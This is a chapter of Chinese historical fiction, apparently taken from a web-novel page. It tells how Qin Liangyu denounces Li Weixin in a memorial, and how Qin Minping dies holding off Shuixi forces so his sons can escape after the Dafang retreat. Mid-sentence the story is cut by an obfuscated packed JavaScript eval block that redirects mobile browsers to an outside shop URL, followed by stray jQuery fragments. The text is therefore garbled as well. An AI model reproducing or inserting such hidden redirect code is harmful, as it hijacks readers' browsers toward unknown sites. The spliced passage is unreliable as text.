永宁、蔺州、龙场三战之后,秦良玉回师重庆。
仗打赢了。折子递上去,功劳簿上石柱白杆兵的名字夹在一堆人名中间,不仔细找都看不见。
还有李维新。
龙场之战后,秦良玉带兵回重庆途中经过李维新大营。她去求见——商量追剿奢崇明残部的路线。李维新在龙场是正兵主力,该知道叛军往哪个方向跑。
营门关着。亲兵回报:"总兵大人不见客。"
秦良玉站在营门外等了一炷香。又让人去报了一次。亲兵回来说:"大人说了,今日身体不适,不便见客。"
身体不适。渡河一战败回营,关门不见人。
秦良玉站在营门口,看着那两扇关着的门。门板是新换的,上头还带着木头的白茬。门后面有人影晃了一下,又没了。
她没等了。调转马头回了重庆行辕,让人研墨,写了一道折子。
折子不长。她写红崖墩三战,写翼明拱明裹粮出征,写白杆兵从纳溪到蔺州的行军路线。然后笔锋一转:
"行间诸将,未睹贼面,攘臂夸张,及乎对垒,闻风先遁。败于贼者,唯恐人之胜;怯于贼者,唯恐人之强。如总兵李维新,渡河一战,败衄归营,反闭门拒臣,不容一见。以六尺躯须眉男子,忌一巾帼妇人,静夜思之,亦当愧死。"
她把折子封了,让人八百里加急送进京。
六月,折子到了天启帝面前。
天启帝朱由校看了折子,下了一道旨:"命文武大吏皆以礼待秦良玉,不得疑忌。"
旨意传到重庆行辕。秦良玉接了旨,把圣旨收进匣子里。
朱燮元写来一封私信,八个字:"功在社稷,何须人知。"
秦良玉把信收了。没回。
入秋后,贵州战事吃紧。
安邦彦仍在水西据险而守,奢崇明残部逃入贵州腹地之后,和安邦彦合兵,声势又涨了起来。贵州巡抚王三善两万人破过安邦彦十万,连战连进,一直打到陆广河。
天启三年正月,刘超渡陆广,中伏大败,参将杨明楷被擒,二十六将阵亡。张彦芳渡鸭池河,也败了,退守威清。只有都司线补衮一路全军而还。
王三善不服。十月,他亲自带六万人渡乌江,再打大方。黑石连败叛军,漆山决战又胜,安邦彦弃大方而走。王三善进了安位的宅子,以为平定了。
他没有粮。
大方是空城,安邦彦撤走时把粮草全带走了。王三善约四川总兵李维新出兵合剿,李维新以饷乏为由,不来。
杨述中也弗为援。
六万人在大方吃了一个冬天的风。先是杀马,再是挖草根煮皮带。天启四年正月,粮尽,不得不退。
秦民屏跟着王三善进了大方。
他是副总兵,随张彦芳部渡鸭池河入黔。在贵州的仗打得顺——连破五大寨,叛军望旗而退。秦民屏打惯了硬仗,贵州的山比川南还险,路比川南还窄,但白杆兵走山路跟走平地一样,安邦彦的人拦不住。
大方却是一座空城。王三善占了大方,安邦彦跑了,可周围的苗寨土司全倒向了安邦彦——王三善说要郡县其地,设流官,土司们转头就帮叛军去了。
秦民屏劝过王三善:"粮道太长,后方不稳,不宜久留。"
王三善不听。大方已经占下了,等粮草到了再追就是。
可粮草到不了。李维新以饷乏辞,杨述中弗为援,从四川运粮的路被安邦彦的人截了。六万人的口粮断了。
正月,粮尽。王三善下令烧了大方的房子,全军东撤。
东撤的路上,安邦彦的人追上来了。
斥候从大方一路跟着,官军走哪条路、在哪歇脚,叛军都知道。官军走得慢,六万人断了一个冬天的粮,士卒饿得走不动,每天倒在路上的人比战死的还多。
秦民屏走在后军。他带了本部三千人,加上辎重和伤兵,走得不快。前面是王三善的中军,再前面是前锋刘超。
第一天没事。第二天也没事。第三天出了大方地界,进了内庄的山谷,路忽然窄了。两边山上的树都脱了叶,光秃秃的枝丫插在灰白的天底下。
秦民屏勒住马,看了一眼两边的山。
山不高,但树密。路从山脚穿过,弯道多,看不见前面。
他让人传令:前锋停,等后军合拢再走。
传令兵还没走出去,前面的路上响起了号角。
不是明军的号角。是牛角号,低沉,从山谷两头一起响起来的。
伏兵从两面山上压下来。
安邦彦的人不冲中军——中军人多,王三善亲自在,硬打打不动。他们切尾巴,截断了后军和前军的联系。
秦民屏被隔在中间。前军已经被围,退路也被堵死。身边本部三千人,对面冲下来的少说五六千。
他没退。
秦民屏把白杆枪横在马上,回头看了两个儿子一眼。秦佐明二十三,秦祚明二十一,都跟在身边打仗好几年了。佐明握枪的手稳,祚明已经在往前探身子了。
"你俩带伤兵往东走,从河滩绕出去。"秦民屏说。
佐明没动。祚明说:"爹——"
"走。"秦民屏把枪尖往地上一顿,冻土上砸出一个白印,"我断后。"
他没给两个儿子再说话的工夫。拨转马头,带着一千白杆兵朝叛军冲了过去。
白杆兵在山谷里冲不开阵势——太窄了,枪展不开,骑兵跑不起来。秦民屏下了马,步战,枪杆横扫,钩枪拽人,一枪一个。身后的一千白杆兵跟着他,在山谷里硬生生凿出一条路来。
叛军从山上往下压,箭矢石头落下来,白杆兵一排排倒。秦民屏身上挨了两刀,肩上一箭,还在往前冲。他冲出了山谷的狭窄段,到了开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642625|206725||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阔地,回头一看,身后还跟着的不到三百人。
王三善的中军已经乱了。叛军从四面围上来,王三善从马上摔了下去——身边一个叫陈其愚的人纵马撞的他。陈其愚先前来降,王三善信了他。
秦民屏冲到王三善身边的时候,王三善已经被叛军拖走了。他看见中军参将王建中的旗倒在了地上。
秦民屏没停。他带着剩下的人往东冲,要去接应秦佐明和秦祚明。
山谷的出口被堵了。一排叛军持盾挡在路中间,后面是弓手。
秦民屏把枪举起来,冲了过去。
第一排盾被他撞开了。第二排矛刺过来,他侧身避开,枪尖捅穿了持矛人的喉咙。第三排、第四排——他杀穿了。
但身后的人跟不上了。白杆兵在山谷里被截成几段,各自为战,互不相连。
秦民屏杀出山谷的时候,身边只剩二十几骑。他身中四刀两箭,左臂已经抬不起来了,枪换到了右手。
他没有往东走,掉转马头又冲了回去。
佐明和祚明还在里面。
他冲了两次。第一次被射了回来,马脖子中了一箭,他拔了箭接着冲。第二次冲进去了,看见佐明背著祚明在山脚的乱石堆里跑。祚明左腿中了一刀,血顺着裤腿往下淌。佐明自己的右肩插着一支箭,还在跑。
秦民屏挡在他们身后,枪杆横扫,把追上来的三个骑兵扫下马。他对佐明喊了一声:"带你弟走!往东,过河!"
佐明回头看了一眼他爹。秦民屏满身是血,枪尖朝下,人还骑在马上,但马已经在打晃了。
佐明没哭。他咬着牙,把祚明扛到马上,往东跑了。马跑出去几十步,佐明没回头。
秦民屏看着两个儿子的背影消失在山弯后面,把枪重新举起来。
追兵又上来了。他一个人挡在山道上,枪杆撑着地,马也站不住了,前蹄一软跪了下去。他从马背上滚下来,站起来,枪尖对着前面的叛军。
没有人再冲了。叛军围着他,隔了三步远,没人上前。他们认出了那杆白杆枪。
秦民屏把枪往地上一插,血从嘴里涌出来。他靠着枪杆站着,枪尖朝外。
没有人再上前。围着他的叛军慢慢散开了一个口子,让后面的人看见——白杆兵的副总兵,站着的。
消息传到重庆,是五天后。
秦良玉在行辕里收到佐明派人送来的信。信上沾着血,拆开的时候纸角粘在一起,她用指甲慢慢拨开。信是佐明写的,字歪歪扭扭,手上带伤,写不利索。
她把信看了两遍,折好,放在桌上。
然后她让人取了纸墨,给朝廷写了一道折子,请抚恤秦民屏。
折子里没有提秦民屏怎么死的,只写了"副总兵秦民屏,大方战殁"七个字。
写完折子,她把笔放下。坐了一会儿,把折子封了,让人送出去。